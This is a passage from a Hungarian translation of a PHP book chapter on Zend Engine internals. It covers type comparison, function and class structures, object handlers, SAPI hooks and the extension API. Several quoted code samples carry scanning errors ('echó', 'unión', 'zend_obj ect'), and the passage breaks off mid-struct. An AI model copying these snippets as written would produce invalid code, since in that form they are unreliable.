Eredményként 0-t kapunk, nem pedig 00-t, mivel a további karakterek csendben eltűn-
tek, amikor a második sorban a $ a-ból egész lett.

A változótípusok fontosak az összehasonlításoknál is. Ha két változót összehasonlítunk az


azonosság (===) műveleti jelével, a rendszer összeveti az aktív típusukat, és ha az nem
egyezik, negatív eredményt ad:
$a = 0;
$b = ' 0 ' ;
echó ($a === $b)?"Match":"Doesn't Match";

Következésképpen itt az eredmény: nincs egyezés.

Az egyenlőség (==) operátor használata esetén az összehasonlítás a tényezők aktív típusá-


ra épül. Ha ezek karakterláncok vagy null értékek, a rendszer karakterláncként hasonlítja
össze azokat; amennyiben egyikük logikai érték, a másikat is ilyenné alakítja, és ezután
hasonlítja össze; egyébként pedig mindkettőt számmá alakítja, és így végzi el az összeha-
sonlítást. Jóllehet az == művelet az eredményre nézve szimmetrikus ($a= = $b ugyanaz,
mint $b= = $a), mégsem tranzitív. Az alábbi példát Dan Cowgill hozta fel:
$a = "0 " ;
$b = 0;
$c = "";
echó ($a == $b)?"True":"Falsé"; // Igaz
echó ($b == $c)?"True":"Falsé"; // Igaz
echó ($a == $c)?"True":"Falsé"; // Hamis
526 PHP fejlesztés felsőfokon

A tranzitivitás alapvető tulajdonságnak tűnhet az operátoralgebrában, de az == működésé-


nek ismeretében megérthetjük, itt miért nem ilyen egyszerű a helyzet. íme néhány példa:

• „ 0" == 0, mivel végül mindkét számból egész lesz, és a rendszer így hasonlítja
össze őket.
• $b == $c, mivel mindkét változóból egész válik, és a rendszer ezeket veti össze.
• Mindazonáltal, $a ! = $c, mivel mind a $a, mind a $c karakterlánc, és ekként
összevetve őket nyilván nem kapunk egyezést.

A példához írt megjegyzésében Dan az itt látottakat összevetette a Perl == és eq operáto-


raival, amelyek tranzitívak. (Ennek oka az, hogy mindkettő rögzített típusok közti össze-
hasonlításra alkalmas.) Az == a Periben mindkét tényezőből számot készít, és ezeket ha-
sonlítja össze, míg az eq karakterláncokat állít elő. A PHP == művelete ugyanakkor nem
köthető egy típushoz, és csak akkor hozza közös típusra a változókat, ha aktív típusuk
egyébként nem azonos. Ez az oka a tranzitivitás hiányának.

Függvények
Az előzőekben láthattuk, hogy amikor egy kódrészlet egy függvényt hív, feltölti a paramé-
tervermet a ZEND_SEND_VAL segítségével, majd elvégzi a végrehajtást a ZEND_DO_FCALL
művelettel. De mi is történik itt valójában? Ahhoz, hogy ezt megértsük, vissza kell ugra-
nunk az időben még a fordítás előtti állapothoz. Amikor a PHP elindul, sorra veszi a be-
jegyzett bővítményeket (mind a statikusan fordítottakat, mind azokat, amelyek a php. ini
fájlban találhatók), és bejegyzi az összes ezekben meghatározott függvényt. Ezek szerke-
zete valahogy így fest:

typedef struct _zend_internal_function {


/* közös elemek */
zend_uchar type;
zend_uchar *arg_types;
char *function_name;
zend_class_entry *scope;
zend_uint fn_flags;
unión _zend_function *prototype;
/* közös elemek vége */
void (*handler)(INTERNAL_FUNCTION_PARAMETERS);
} zend_internal_function;

Fontos megfigyelnünk a típust (ez mindig ZEND_INTERNAL_FUNCTION, ami azt jelenti,


hogy egy C-ben írt bővítményfüggvényről van szó), a függvény nevét, valamint a kezelőt.
Ez utóbbi egy, a függvényre irányuló C mutató, amely a bővítmény kódjának része.
20. fejezet • A PHP és a Zend Engine titkai 527

E függvények bejegyzése gyakorlatilag a globális függvénytáblába helyezésüket jelenti (ez


egy hasítótábla, melyben a függvényeket tárolják).

A felhasználók által meghatározott függvények beillesztése természetesen a fordító felada-


ta. Lássuk, mi történik, amikor a fordító (lexikai értelmező, feldolgozó és kódelőállító) az
alábbi függvénnyel találkozik:

function say_hello($name)
{
echó "Hello $name\n";
}

A fordító lefordítja a függvény belseében található kódot, vagyis készít belőle egy új op-
tömböt, létrehoz egy zend_function-t, amely ezt a tömböt tartalmazza, majd ezt beil-
leszti a globális függvénytáblába, de ekkor már ZEND_USER_FUNCTION típussal.
A zend_function felépítése így fest:

typedef unión _zend_function {


zend_uchar type,-
struct {
zend_uchar type; /* nem használatos */
zend_uchar *arg_types;
char *function_name;
zend_class_entry *scope;
zend_uint fn_flags;
unión _zend_function *prototype;
} common;
zend_op_array op_array;
zend_internal_function internal_function;
} zend_function;

Ez a meghatározás kissé furának tűnhet - megértéséhez ismernünk kell a háttérben levő


felépítést. A zend_function és a zend_internal_function változók jobbára egy-
aránt optömböket tartalmaznak. Nem azonos struct típusok, de a common szerkezetben
található elemek közösek bennük. Ez lehetővé teszi, hogy biztonságosan átalakíthassuk
őket egymásba.

A gyakorlatban ez azt jelenti, hogy amikor a ZEND_DO_FCALL végrehajtására kerül sor,


a rendszer tárolja az aktuális hatókört, feltölti a paramétervermet, kikeresi a neve alapján
a kért függvényt (itt a kisbetűs nevet használja, mivel a PHP függvénynevei érzékenyek
a kis- és nagybetűk különbségére), és visszatér egy mutatóval, amely egy zend_function
típusú változóra irányul. Ha a függvény típusa ZEND_INTERNAL_FUNCTION, átalakítható
zend_internal_function típusúvá, és végrehajtható a belső függvények végrehajtásá-
ra alkalmas zend_execute_internal segítségével. Egyébként a végrehajtás eszköze
528 PHP fejlesztés felsőfokon

a zend_execute, melyet a programok és beemelt fájlok végrehajtásánál is alkalmaznak.


Mindez azért működik, mert a felhasználói függvények e szempontból optömböknek felel-
nek meg.

Amint azt talán ki is következtethettük a PHP függvények működéséből, a ZEND_SEND_VAL


nem helyezi el a paraméter zval-ját a veremben - ehelyett lemásolja, és ezt a másolatot
rakja a paraméterverem tetejére. Ez azzal a következménnyel jár, hogy - hacsak nem hivat-
kozás szerint adunk át egy paramétert (az objektumokon kívül) - értékének függvénybeli
megváltoztatása nem hat az eredeti paraméterre, csak a másolatra. Ha módosítani szeret-
nénk az átadott paramétert, adjuk át hivatkozás szerint.

Osztályok
Az osztályok annyiban hasonlítanak a függvényekhez, hogy tárolásukra külön globális
szimbólumtábla szolgál, de egyébiránt összetettebbek. Míg a függvények hasonlóak
a programokhoz (ugyanazzal a művelethalmazzal rendelkeznek), az osztályok olyanok,
mint kicsiben a teljes végrehajtási környezet.

Az osztályokat a zend_class_entry jeleníti meg:

struct _zend_class_entry {
char type;
char *name;
zend_uint name_length;
struct _zend_class_entry *parent;
int refcount;
zend_bool constants_updated;
zend_uint ce_flags;

HashTable function_table;
HashTable default_properties;
HashTable properties_info;
HashTable class_table;
HashTable *static_members;
HashTable constants_table;
zend_function_entry *built-in_functions;

unión _zend_function *constructor;


unión _zend_function *destructor;
unión _zend_function *clone;
unión _zend_function *_ _get;
unión _zend_function *_ _set;
unión _zend_function *_ _call;
20. fejezet • A PHP és a Zend Engine titkai 629

/* kezelők */
zend_obj ect_value (*create_obj ect)
(zend_class_entry *class_type TSRMLS_DC);

zend_class_entry **interfaces;
zend_uint num_interfaces;

char *filename;
zend_uint line_start;
zend_uint line_end;
char *doc_coniment ;
zend_uint doc_comment_len;
};

A fő végrehajtási környezethez hasonlóan az osztályok saját függvénytáblával rendel-


keznek a tagfüggvényeik számára, valamint van egy állandótáblájuk is. Az osztály be-
jegyzésében emellett számos más elemet találhatunk, így a tulajdonságok tábláit (mint
a default_properties, properties_info vagy a static_members), a megvaló-
sított felületeket, az osztály konstruktorát, destruktorát, klónját és felülírható elérési
függvényeit. Mindezeken túl létezik egy create_object nevű függvénymutató, amely
- amennyiben megadják - új objektumok létrehozására és kezelőik meghatározására al-
kalmazható, ami lehetővé teszi az objektum elérésének részletekbe menő szabályozását.

A PHP 5 egyik nagy újdonsága az objektummodell változása volt. A PHP 4-ben objektum lét-
rehozásánál egy zval változót kaptunk vissza, melynek zvalue_value értéke így festett:

typedef struct _zend_object {


zend_class_entry *ce;
HashTable *properties;
} zend_object;

Ez azt jelenti, hogy a PHP 4 zend_obj ect változói nem sokkal többek, mint tulajdonsá-
gok hasítótáblái, melyek mellett a zend_class_entry végzi a tagfüggvények tárolását.
Amennyiben objektumokat adunk át függvényeknek, a rendszer - más típusokhoz hason-
lóan - lemásolja azokat, és a tulajdonságelérők használatát meglehetősen esetlenül való-
sítja meg.

A PHP 5-ben az objektumokhoz tartozó zval-ok egy zend_object_value értéket


tartalmaznak:

struct _zend_object_value {
zend_object_handle handlé;
zend_object_handlers *handlers;
};
530 PHP fejlesztés felsőfokon

A zend_object_value maga egy zend_object_handle értéket tartalmaz (ez egy


egész, amely megadja az objektum helyét a globális objektumtárban - gyakorlatilag egy
mutató magára az objektumra), valamint néhány kezelőt, melyek az objektum elérését
szabályozzák.

Mindez alapjában megváltoztatja az objektumok kezelésének módját a PHP-ben. A PHP 5-


ben, ha egy objektumhoz tartozó zval értéket lemásolunk (értékadásnál vagy paraméter-
átadásnál), a hozzá tartozó adatok másolása nem történik meg, mindössze egy újabb hi-
vatkozás születik az objektumra. Ez a viselkedés elterjedtebb elődjénél, és megfelel a Ja-
va, a Python, a Perl és más nyelvek viselkedésének.

Az objektumkezelők
A PHP 5-ben lehetőségünk van - a bővítési API-ban - az objektumok és tulajdonságaik
elérésének szabályozására, szinte minden téren. A kezelő API az alábbi eléréskezelőket
valósítja meg:

typedef struct _zend_object_handlers {


/* általános objektumfüggvények; */
zend_object_add_ref_t add_ref;
zend_object_del_ref_t del_ref;
zend_object_delete_obj_t delete_obj;
zend_object_clone_obj_t clone_obj;
/* egyedi objektumfüggvények */
zend_object_read_property_t read_property;
zend_obj ect_write_property_t write_property;
zend_object_read_dimension_t read_dimension;
zend_obj ect_write_dimension_t write_dimension;
zend__object_get_property_ptr_ptr_t get_property_ptr_ptr;
zend_object_get_t get;
zend_object_set_t set;
zend_object_has_property_t has_property;
zend_object_unset_property_t unset_property;
zend_object_has_dimension_t has_dimension;
zend_object_unset_dimension_t unset_dimension;
zend_object_get_properties_t get_properties;
zend_object_get_method_t get_method;
zend_object_call_method_t call_method;
zend_object_get_constructor_t get_constructor;
zend_object_get_class_entry_t get_class_entry;
zend_object_get_class_name_t get_class_name;
zend_object_compare_t compare_objects;
zend_obj ect_cast_t cast_obj ect;
} zend_object_handlers;
20. fejezet • A PHP és a Zend Engine titkai 531

Az egyes kezelőket részletesebben tárgyaljuk a 22. fejezetben, ahol valóban meg is valósí-
tunk egyes bővítményosztályokat. Addig elégedjünk meg annyival, hogy a kezelők nevei
elég jó útmutatással szolgálnak a rendeltetésüket illetően. így például a rendszer akkor
hívja meg az add_ref kezelőt, ha az objektumhoz egy hivatkozást adunk:

$object2 = $object;

A compare_obj ect hívására pedig akkor kerül sor, amikor két objektumot az
is_equal művelettel összehasonlítunk:

if($object2 == $object) {}

Objektumok létrehozása
A Zend Engine 2-es változatában az objektumok létrehozása két lépésből áll. Vegyük
a következő hívást:

$object = new ClassName;

Ezt követően a rendszer egy új zend_obj ect-et hoz létre, melyet elhelyez az objektum-
tárban, és egy rá mutató leírót rendel a $object változóhoz. Alapértelmezés szerint (ami-
kor felhasználói osztályt példányosítunk) a tárfoglalás az alapértelmezett foglalóval törté-
nik, és az objektum az alapértelmezett eléréskezelőket kapja meg. Emellett, amennyiben
az osztályhoz tartozó zend_class_entry-ben meghatározták a create_object függ-
vényt, ez intézi az objektum tárfoglalását, és egy zend:_object_handler kezelőkből
álló tömbbel tér vissza.

E működési szint ismerete különösen hasznos lehet, ha egy objektum alapműveleteit sze-
retnénk felülbírálni, illetve ha erőforrás-adatokat kell tárolnunk egy olyan objektumban,
melyet nem érinthetnek a rendes memóriakezelő eljárások. A Java- és a mono-bővítmé-
nyek e lehetőségeket használják ki, hogy a PHP képes legyen példányosítani és elérni
a belőlük származó objektumokat.

Az objektum konstruktora csak akkor indul el, ha a zend_object_value már létrejött.


A konstruktőrök (illetve a destruktorok és a klónok) még a bővítményekben is „rendes"
zend_f unction típusúak. Nem módosíthatják az objektum eléréskezelőit, mivel ezek
ekkor már létrejöttek.

Más fontos adatszerkezetek


A függvény- és osztálytáblák mellett van itt még néhány említésre méltó globális adatszer-
kezet. Ezek működésének ismerete nem túlzottan lényeges egy PHP-felhasználó számára,
de igen hasznos lehet, ha a motor működését szeretnénk módosítani. Az itt felsoroltak
532 PHP fejlesztés felsőfokon

legtöbbje a compiler_globals vagy az executor_globals szerkezet eleme, melyek-


re a forráskódban leginkább a CG (), valamint az EG () makrókkal hivatkoznak. Lássunk
tehát néhány globális adatszerkezetet:

• CG(function_table) és EG(function_table) - Ezek az adatszerkezetek az


eddigiekben tárgyalt függvénytáblára hivatkozik, amely jelen van mind a fordítói,
mind a végrehajtói globálisok között. Ha végigvesszük e hasítótábla elemeit, meg-
kapunk minden hívható függvényt.
• CG(class_table) és EG(class_table) - Ezek az adatszerkezetek arra
a hasítótáblára hivatkozik, amely az osztályokat tárolja.
• EG (symbol_table) - Ez az adatszerkezet a fő (vagyis a globális) szimbólumtáb-
lára hivatkozik. Itt találhatunk meg minden globális hatókörű változót.
• EG(active_symbol_table) - Ez az adatszerkezet egy hasítótáblára hivatkozik,
amely az aktuális hatókör szimbólumtábláját tartalmazza.
• EG (zend_constants) - Ez az adatszerkezet az állandók hasítótáblájára hivatko-
zik, melynek elemeit a def ine-nal határozták meg.
• CG (auto_globals) - Ez az adatszerkezet az autoglobálisok ($_SERVER, $_ENV,
$_POST stb.) hasítótáblájára hivatkozik, melyeket a programban használunk.
Ez globálisan elérhető a fordítóban, így megtehetjük, hogy csak akkor adunk kez-
dőértéket e változóknak, ha a program valóban használja azokat. Ez természetesen
a felesleges előkészítés és feltöltés elhagyásával növeli a teljesítményt.
• EG(regular_list) - Ez az adatszerkezet egy hasítótáblára hivatkozik, ami a „sza-
bályos" (vagyis nem maradandó) erőforrásokat tárolja. Erőforrások alatt itt a PHP
olyan, erőforrás típusú változóit értjük, mint a folyamok, a fájlmutatók, az adatbázis-
kapcsolatok és más hasonlók. Mindezekről bővebben szólunk a 22. fejezetben.
• EG(persistent_list) -Ez az adatszerkezet hasonlít az EG(regular_list)-
hez, de az ebben található erőforrásokat a rendszer nem szabadítja fel a kérelmek
végén (ilyenek például a maradandó adatbázis-kapcsolatok).
• EG(user_error_handler) — Ez az adatszerkezet egy mutatót ad egy zval ér-
tékre, ami az aktuális user_error_handler függvény nevét adja meg (beállításá-
ra a set_error_handler függvény biztosít lehetőséget). Ha nem állítottunk be
hibakezelő függvényt, az értéke NULL.
• EG(user_error_handlers) - Ez az adatszerkezet a hibakezelő függvények ver-
mére hivatkozik.
• EG(user_exception_handler) — Ez az adatszerkezet egy mutatót ad egy zval
értékre, amely az aktuális globális kivételkezelő függvény nevét adja meg (beállítá-
sára a set_exception_handler függvény ad lehetőséget). Ha nem állítottunk be
semmit, az értéke NULL.
• EG(user_exception_handlers) - Ez az adatszerkezet a globális kivételkezelők
vermére hivatkozik.
• EG(exception) — Ez egy igen fontos adatszerkezet. Ha a rendszer kivételt vált ki,
az EG (exception) a kiváltó objektumkezelőhöz tartozó zval értéket veszi fel.
20. fejezet • A PHP és a Zend Engine titkai 533

Ha egy függvényhívás visszatér, a rendszer megvizsgálja az EG (exception) érté-


két. Amennyiben ez nem NULL, a végrehajtás megáll, és a program a megfelelő
catch blokk műveletéhez ugrik. A bővítménykódokból kiváltott kivételekről bő-
vebben szólunk a 21. és a 22. fejezetekben.
• EG (ini_directives) - Ez az adatszerkezet a php. ini azon utasításainak
hasítótábláját adja, amelyek az aktuális végrehajtási környezetben érvényesek.

A fentiek csak egy részét adják az executor_globals és a compiler_globals globá-


lisainak. A bemutatottakat részben azért választottuk ki, mert a motor érdekes optimalizá-
lásaiban bukkannak fel (az autoglobálisok valósidejű feltöltésénél), illetve mert használa-
tukra szükség van a bővítményekben (például az erőforráslistáknál).

Az elkülönítés elve

Az elkülönítés (sandboxing) elve azt mondja ki, hogy a felhasználó tevékenységei az


egyik kérelem kezelésében nem hathatnak egy másik kérelem kezelésére. A PHP igen jól
elkülönített nyelv, hiszen minden kérelem végén visszatér egy tiszta kezdőállapotba.
Ez bővebben az alábbiakat jelenti:

• A rendszer eltávolítja a függvényekhez és osztályokhoz kapcsolódó


ZEND_USER_FUNCTlON és ZEND_USER_CLASS értékeket (vagyis minden
felhasználói függvényt és osztályt).
• Megsemmisít minden értelmezett fájlhoz tartozó optömböt. (Ezt valójában már
a használatuk után megteszi.)
• A rendszer kiüríti az összes szimbólum- és állandótábla tartalmát.
• Megsemmisít minden, nem a maradandók listáján szereplő erőforrást.

Egyes megoldások, mint a mod_perl igencsak könnyűvé teszik a globális változók aka-
ratlan példányosítását, melyek megőrzik értékeiket a kérelmek között, esetleges meglepe-
téseket okozva. A PHP kérelem utáni takarító eljárása szinte lehetetlenné teszi az ilyen hi-
bákat. Ez azonban azt is jelenti, hogy az olyan adatokat is újra elő kell állítani, amelyekről
tudjuk, hogy nem változnak két kérelem között (például egy fájl fordítási eredménye).
Amint a korábbiakban láthattuk, a fordítói gyorstárak - mint az APC, az IonCube vagy
a Zend Accelerator -, amelyek némileg „elrontják" a kérelmek tökéletes szétválasztását,
növelhetik alkalmazásunk teljesítményét. Az e téren alkalmazható módszerekről a 23. fe-
jezetben szólunk bővebben.
534 PHP fejlesztés felsőfokon

A PHP kérelmek életciklusa


Miután megismerkedtünk a Zend Engine működésével, érdemes megvizsgálnunk azt is,
miként működhet ez a motor a PHP-ben, és a PHP más alkalmazásokban.

Minden, a PHP szerkezetét boncolgató eszmefuttatás a 20.2. ábrán láthatóhoz hasonló di-
agrammal kezdődik, amely az alkalmazás rétegeit vázolja fel.

A legkülső réteg, melyen keresztül a PHP más alkalmazásokkal érintkezik, az elvont ki-
szolgálói API (Server Abstraction API, SÁPI) rétege. Részben ez kezeli a PHP indítását és
leállítását az alkalmazáson belül, és horgokat biztosít bizonyos adatok - így a sütik vagy
a POST adatok - kezeléséhez, alkalmazásfüggetlen módon.

20.2. ábra
A PHP szerkezete.

A SÁPI réteg alatt található maga a PHP motor. A PHP központi kódja felel a futási kör-
nyezet beállításáért (a globális változók feltöltéséért és az alapértelmezett . ini beállítá-
sok érvényesítéséért), emellett felületeket biztosít, így a folyamok bemeneti-kimeneti fe-
20. fejezet • A PHP és a Zend Engine titkai 535

lületét, feldolgozza az adatokat, és ami talán a legfontosabb, felületet biztosít a bővítmé-


nyek betöltéséhez (mind a statikusan fordított, mind a dinamikusan betöltött bővítmé-
nyek számára).

A PHP magjában találjuk az előzőekben már részletesen tárgyalt Zend Engine-t, melynek
feladata a programok értelmezése és végrehajtása. A Zend Engine szerkezete emellett le-
hetővé teszi a bővítést, valamint alapműveleteinek (fordítás, végrehajtás és hibakezelés)
akár teljes felülírását is. Átalakíthatjuk műveleteinek egyes elemeit (az egyes műveletek
op_handler-einek módosításával), és függvényeket hívhatunk bejegyezhető horgokkal
(minden függvényhívásnál, minden opkódnál, és így tovább). Mindezek lehetővé teszik
a gyorstárak, a profilkészítők, a hibakeresők és a nyelv értelmezését módosító bővítmé-
nyek egyszerű beépítését.

A SÁPI réteg
Ez az elvonatkoztatási réteg lehetővé teszi, hogy egyszerűen beépíthessük a PHP-t más al-
kalmazásokba. Lássunk most néhány gyakrabban alkalmazott SAPI-t:

• mod_php5 - Az Apache PHP modulja - egy SÁPI, amely beágyazza a PHP-t az


Apache webkiszolgálóba.
• fastcgi - A CGI szabvány jól méretezhető bővítése, a FastCGI egy megvalósítása.
A FastCGI egy maradandó CGI démon, amely alkalmas több kérelem kezelésére.
A FastCGI teszi lehetővé a PHP futását HS-en, és csaknem olyan teljesítményt ad,
mint a mod_php5.
• CLI - Önálló értelmező, melynek segítségével PHP programokat futtathatunk a pa-
rancssorból. A CLI valójában egy igen vékony burkoló egy SÁPI réteg körül.
• embed - Általános célú SÁPI, melynek C könyvtárfelülete lehetővé teszi a PHP ér-
telmező beágyazását tetszőleges alkalmazásba.

Az alapgondolat az, hogy léteznek olyan közös kapcsolódási pontok (a konkrét alkalma-
zástól függetlenül), melyeken a PHP és az alkalmazás érintkezik - ezeken a helyeken biz-
tosítanak horgokat a SAPI-k. így ha például egy alkalmazás el szeretné indítani a PHP-t,
az indítási horgot hívja meg. Ha a PHP szeretne kimenetet küldeni, az ub_write horgot
használhatja, amely a SÁPI réteg segítségével elvezet az alkalmazás megfelelő kimeneti
tagfüggvényéhez.

A SÁPI réteg képességeinek megértéséhez a leghasznosabb, ha megismerkedünk a ren-


delkezésre álló horgokkal. Minden SÁPI felület az alábbi szerkezettel rendelkezik, mely-
nek visszahívható (callback) függvényeit a PHP használhatja:

struct _sapi_module_struct {
char *name;
char *pretty_name;
int (*startup)(struct _sapi_module_struct *sapi_module);
536 PHP fejlesztés felsőfokon

int (*shutdown)(struct _sapi_module_struct *sapi_module);


int (*activate)(TSRMLS_D);
int (*deactivate)(TSRMLS_D);
int (*ub_write) (const char *str, unsigned int str_length TSRMLS_DC) ;
void (*flush)(void *server_context);
struct stat *(*get_stat)(TSRMLS_D);
char *(*getenv)(char *name, size_t name_len TSRMLS_DC);
void (*sapi_error)(int type, const char *error_msg, ...);
int (*header_handler)(sapi_header_struct *sapi_header,
sapi_headers_struct *sapi_headers TSRMLS_DC) ;
int (*send_headers)(sapi_headers_struct *sapi_headers TSRMLS_DC);
void (*send_header)(sapi_header_struct *sapi_header,
void *server_context TSRMLS_DC);
int (*read_post)(char *buffer, uint count_bytes TSRMLS_DC);
char *(*read_cookies)(TSRMLS_D);
void (*register_server_variables) (zval *track_vars_array TSRMLS_DC) ;
void (*log_message)(char *message);
char *php_ini_path_override;
void (*block_interruptions)(void);
void (*unblock_interruptions)(void);
void (*default_post_reader)(TSRMLS_D);
void (*treat_data) (int arg, char *str, zval *destArray TSRMLS_DC) ;
char *executable_location;
int php_ini_ignore;
int (*get_fd)(int *fd TSRMLS_DC);
int (*force_http_10)(TSRMLS_D);
int (*get_target_uid)(uid_t * TSRMLS_DC);
int (*get_target_gid)(gid_t * TSRMLS_DC);
unsigned int (*input_filter) (int arg, char *var,
char **val, unsigned int val_len TSRMLS_DC) ;
void (*ini_defaults)(HashTable *configuration_hash);
int phpinfo_as_text;
};

Érdemes megismerkednünk néhány elemmel közelebbről is:

• startup - A rendszer ezt a SÁPI első előkészítésénél hívja meg. Ha alkalmazá-


sunk több kérelmet is kezel, hívása akkor is csak egyszer történik meg.
A mod_php5-ben hívására a szülőfolyamatban kerül sor, mielőtt a gyermekek szét-
ágaznának.
• activate - A rendszer minden kérelem elején meghívja. Újra kezdőértékekkel
látja el a kérelmenkénti SÁPI adatszerkezeteket.
• deactivate - A rendszer minden kérelem végén meghívja. Biztosítja, hogy min-
den adat megfelelően továbbhaladjon az alkalmazás felé, majd megsemmisíti a ké-
relmenkénti adatszerkezeteket.
• shutdown - A rendszer az értelmező kikapcsolásakor hívja meg. Megsemmisít
minden SÁPI adatszerkezetet.
20. fejezet • A PHP és a Zend Engine titkai 537

• ub_write - Ennek segítségével küldhet a PHP kimeneti adatokat az ügyfélnek.


A CLI-ben egyszerűen a szabványos kimenetre írunk, míg a mod_php5 alatt az
rwrite könyvtári hívást alkalmazzuk.
• sapi_error - Ez a kezelő tudósítja a hibákról az alkalmazást. A legtöbb SÁPI
a php_error-t alkalmazza, amely utasítja a PHP-t saját belső hibakezelő rendsze-
rének használatára.
• f lush - Hívásával az alkalmazás elküldi a kimenetét. A CLI-ben ennek az f f lush
C könyvtári hívás felel meg, míg a mod_php5 az Apache könyvtárának rf lush
függvényét használja.
• send__header - Egyetlen meghatározott fejlécet küld az ügyfélnek. Egyes kiszol-
gálók (így az Apache is) rendelkeznek a fejlécátvitelt megvalósító belső függvé-
nyekkel. Mások esetében (mint a PHP CGI-nél) magunknak kell elküldenünk őket.
Léteznek emellett olyanok is (köztük a CLI), amelyek egyáltalán nem kezelik a fej-
lécek küldését.
• send_headers - Minden fejlécet elküld az ügyfélnek.
• read_cookies - Amennyiben meghatároztunk egy read_cookies kezelőt,
a SÁPI indítása során a rendszer ezt hívja meg az SG (request_inf o) . coo-
kie_data feltöltésére. Ez az érték kerül azután a $_C00KIE autoglobálisba.
• read_post - Amennyiben a kérelem módja POST (vagy ha a php. ini
always_populate_raw_post_data változója true), a rendszer a read_post
kezelővel tölti fel a $HTTP_RAW_POST_DATA és a $_POST tartalmát.

A 23. fejezetben bővebben szólunk arról, miként építhetjük be a PHP-t alkalmazásainkba


a SÁPI felület segítségével, továbbá részletesen megismerkedünk a CGI SÁPI felépítésével.

A PMP magja
A PHP értelmező üzembe helyezésének és futtatásának számos kulcslépése van. Amikor egy
alkalmazás el kívánja indítani a PHP értelmezőt, először meghívja a php_module_startup
függvényt. Ez gyakorlatilag a „főkapcsolónak" felel meg - üzembe helyezi a bejegyzett
SAPI-t, előkészíti átmeneti tárolórendszerét, elindítja a Zend Engine-t, beolvassa a php. ini
állományt, majd ez alapján elvégez néhány teendőt, és előkészíti az értelmezőt az első kére-
lem fogadására. A magban működő fontosabb függvények a következők:

• php_module_startup - A PHP központi indító függvénye.


• php_sartup_extensions - Elindítja az előkészítő függvényeket minden bejegy-
zett bővítményben.
• php_output_startup - Elindítja a kimeneti rendszert.
• php_request_startup - A kérelem elején ez a központi függvény, amely a SÁPI
kérelmenkénti függvényeinek hívását intézi, emellett megkezdi a Zend Engine-ben
a kérelmenkénti előkészítési műveleteket, és meghívja a kérelem kezdetekor szük-
séges függvényeket a bejegyzett modulokban.
538 PHP fejlesztés felsőfokon

• php_output_activate - Üzembe helyezi a kimeneti rendszert, beállítva a SAPI-


ban meghatározott kimeneti függvények használatát.
• php_init_conf ig - Beolvassa a php. ini fájlt, és ez alapján elvégzi a megfelelő
műveleteket.
• php_request_shutdown - A kérelmenkénti erőforrás-megsemmisítés központi
függvénye.
• php_end_ob_buf f ers - Amennyiben a kimenet átmeneti tárolása engedélyezett,
ez a függvény üríti a tárak tartalmát.
• php_module_shutdown - A PHP központi kikapcsoló függvénye, amely az értel-
mező további kikapcsoló függvényeit elindítja.

A PHP bővítési API


A PHP bővítési API-jának tárgyalásával javarészt várnunk kell a 22. fejezetig, ahol valóban
meg is valósítunk egyes bővítményeket. Itt tényleg csak a bővítmények számára elérhető
alapvető visszahívható függvényekkel és hívásuk idejével foglalkozunk.

A bővítmények kétféleképpen jegyeztethetők be. Ha egy bővítményt statikusan fordítunk


a PHP-hez, a beállító rendszer ezt állandó modulként jegyzi be. Mindazonáltal a bővítmé-
nyek betölthetők a . ini fájlból is, ilyenkor bejegyzésük e fájl feldolgozásakor történik meg.

A bővítmények által használatba vehető horgokat a zend_module_entry szerkezetben


találhatjuk meg, melynek tartalma az alábbi:
struct _zend_module_entry {
unsigned short si z e;
unsigned int zend_api;
unsigned char zend_debug;
unsigned char zts;
struct _zend_ini_entry *ini_entry;
char *name;
zend_function_entry *functions;
int (*module_startup_func)(INIT_FUNC_ARGS);
int (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS);
int (*request_startup_func)(INIT_FUNC_ARGS);
int (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS);
void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS);
char *version;
int (*global_startup_func)(void);
int (*global_shutdown_func)(void);
int globals_id;
int module_started;
unsigned char type;
void *handlé;
int module_number;
};
20. fejezet • A PHP és a Zend Engine titkai 539

Érdemes külön szólnunk a szerkezet néhány eleméről:

• module_startup_func - A rendszer akkor hívja ezt a horgot, amikor a modult


első alkalommal tölti be. Feladata hagyományosan a globálisok bejegyzése, az egy-
szeri előkészítések végrehajtása, valamint a modulban használni kívánt . ini be-
jegyzések regisztrálása. Egyes előágaztató rendszerekben - ide tartozik az Apache
is - ezt a függvényt még a szülőfolyamatban hívják meg, az elágazást megelőzően.
Ez alkalmatlanná teszi a nyitott csatolók vagy adatbázis-kapcsolatok előkészítésére,
ugyanis itt gondok adódhatnak, ha egy erőforrást több folyamat is használni pró-
bál.
• module_shutdown_func - Ezt a horgot hívja a rendszer, ha ki kell kapcsolni az
értelmezőt. E hívás idején minden, a modulban lefoglalt erőforrást fel kell szabadí-
tanunk.
• request_startup_func - Hívása az egyes kérelmek kezdetén történik meg.
Használata különösen jól jön a kérelmenként alkalmazott erőforrások beállításánál.
• request_shutdown_func - Ezt a horgot hívja a rendszer minden kérelem végén.
• f unctions - A bővítményben meghatározott függvények.
• ini_f unctions-A bővítményben bejegyzett . ini bejegyzések.

A Zend bővítési API


A PHP kérelmek életciklusának utolsó összetevője az a bővítési API, melyet a Zend
Engine szolgáltat. A bővíthetőség alapjában véve két dolgon múlik: bizonyos létfontossá-
gú belső függvényeknek mutatókon keresztül kell elérhetőnek lenniük, hogy futásidőben
felülírhassuk őket, továbbá szükség van egy horog API-ra, amely lehetővé teszi, hogy
a bővítés kódrészleteket jegyezhessen be, amelyeket egyes opkódok előtt futtathat.

A Zend Engine az alábbi fontosabb függvénymutatókat alkalmazza:

• zend__compile - Erről a függvényről már szóltunk a fejezet elején, így emlékezhe-


tünk, hogy ez a lexikai értelmező, az értelmező és a kódelőállító burkolója. Az APC
és más fordítói gyorstárak felülírják ezt a mutatót, így képessé válnak a program
optömbje másolatainak visszaadására.
• zend_execute - Amint arról szintén szó esett a korábbiakban, ez a függvény hajtja
végre a zend_compile által készített kódot. Az APD és más kódprofilkészítők fe-
lülírják, így részletesen követhetik, mennyi idő telik az egyes függvényhívásokkal.
• zend_error_cb - Ezzel a mutatóval állíthatjuk be azt a függvényt, melyet a rend-
szer hiba esetén meghív. Ha olyan bővítményt szeretnénk írni, ami a hibákat auto-
matikusan kivételekké alakítja, itt tehetjük meg.
• zend_fopen - Ez a függvény segít, ha a rendszer belsejében egy fájl megnyitására
van szükség.
540 PHP fejlesztés felsőfokon

A horog API a PHP bővítési API bővítése:

struct _zend_extension {
char *name;
char *version;
char *author;
char *URL;
char *copyright;

startup_func_t startup;
shutdown_func_t shutdown;
activate_func_t activate;
deactivate_func_t deactívate;
message_handler_func_t message_handler;
op_array_handler_func_t op_array_handler;
statement_handler_func_t statement_handler;
